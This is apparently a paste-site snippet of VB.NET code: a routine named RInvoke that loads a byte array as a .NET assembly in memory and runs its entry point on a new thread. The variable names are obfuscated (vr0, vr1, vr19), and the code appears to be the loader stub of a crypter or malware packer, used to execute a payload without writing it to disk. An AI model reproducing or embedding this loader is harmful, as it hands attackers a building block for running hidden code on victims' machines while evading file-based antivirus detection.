14 lines
585 B
Plaintext
14 lines
585 B
Plaintext
Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
|
|
Dim vr1 As New Threading.Thread(AddressOf vr0)
|
|
vr1.SetApartmentState(Threading.ApartmentState.STA)
|
|
vr1.Start(bytes)
|
|
End Function
|
|
Private Shared Sub vr0(ByVal vr0 As Object)
|
|
Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
|
|
If vr19.GetParameters.Length = 1 Then
|
|
vr19.Invoke(Nothing, New Object() {New String() {}})
|
|
Else
|
|
vr19.Invoke(Nothing, Nothing)
|
|
End If
|
|
End Sub
|